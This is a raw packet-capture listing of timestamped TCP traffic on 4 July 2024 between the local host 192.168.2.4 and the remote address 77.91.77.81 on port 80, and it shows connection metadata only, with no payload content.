Jul 4, 2024 20:34:24.732659101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732683897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732712030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732723951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732734919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732749939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732749939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732762098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732769012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732796907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732870102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732887030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732902050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732906103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732913017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732923031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732933044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732933044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732944012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732954025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732964993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732975006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732980013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732980013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732986927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732994080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732994080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732996941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733010054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733110905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733110905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733136892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733148098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733159065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733170986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733179092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733181000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733191967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733202934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733206034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733211994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733253956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733253956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733287096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733304977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733315945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733325958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733335972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733336926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733347893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733354092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733359098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733369112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733380079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733381987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733407021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733428955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733594894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733604908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733617067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733628035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733634949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733639002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733649015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733659983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733660936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733670950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733680964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733685017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733690977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733707905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733707905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733731985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733745098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733751059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733762980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733774900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733784914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733784914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733810902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733810902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733839035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733850956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733861923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733874083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733910084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733927011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733962059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.733989954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.733999968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.734009981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.734021902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.734030008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.734031916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.734060049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.734062910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.734075069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.734076977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.734095097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.734117031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743274927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743288040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743299007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743324995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743335009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743345022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743350983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743360996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743367910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743388891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743423939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743452072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743463993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743478060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743484974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743489027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743498087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743499994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743510962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743515015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743520021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.743535042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.743565083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.779999971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780019045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780030012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780056953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780077934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780081987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780090094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780101061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780117989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780139923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780165911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780177116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780188084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780200958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780205965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780222893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780273914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780611038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780622005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780637980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780647993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.780653954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780678034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.780698061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.809159040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.809211016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.809226036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.809237003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.809247017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.809258938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.809268951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.809269905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.809282064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.809292078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.809292078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.809328079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.811383963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.811422110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.811433077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.811441898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.811479092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.811492920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.811505079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.811516047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.811525106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.811557055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.811570883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.811606884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.826880932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.826891899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.826903105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.826947927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.826951027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.826958895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.826975107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.826984882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.826999903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827013969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827020884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827025890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827037096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827052116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827054024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827064991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827075005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827079058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827085972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827095032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827095985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827111006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827117920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827137947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827162027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827203989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827215910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827239990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827244997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827255964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827260017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827275038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827291965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827321053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827367067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827372074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827411890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827415943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827447891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827497959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827507973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827518940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827534914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827554941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827565908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827577114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827585936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827605009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827613115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827622890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827634096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827635050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827645063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827655077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827666044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827666998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.827676058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.827712059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828562975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828608036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828666925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828676939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828692913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828704119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828712940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828716993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828725100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828737974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828773022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828773975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828797102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828808069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828810930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828835011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828845978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828879118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828890085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828901052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828912973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828916073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828923941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.828943014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.828969002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829005003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829015017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829025984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829036951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829047918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829047918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829058886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829068899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829071045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829097033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829114914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829401016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829438925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829555988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829566956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829579115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829588890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829592943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829600096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829602003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829611063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829622984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829653025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829818964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829829931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829843044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829859972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829879045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829883099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829899073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829910040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829919100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829921007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.829937935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.829966068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836620092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836658001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836668968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836671114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836688042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836707115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836715937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836726904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836736917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836752892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836757898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836777925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836801052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836843014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836853981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836864948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836894035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836905003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836926937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836939096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836947918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836954117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836954117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.836960077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.836987972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.837011099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.875170946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875183105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875193119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875241995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.875248909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875260115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875272036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875283003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875286102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.875293970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875323057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.875345945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.875374079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875385046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875396013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875406981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.875413895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.875417948 CEST	80	49744	77.91.77.81	192.168.2.4
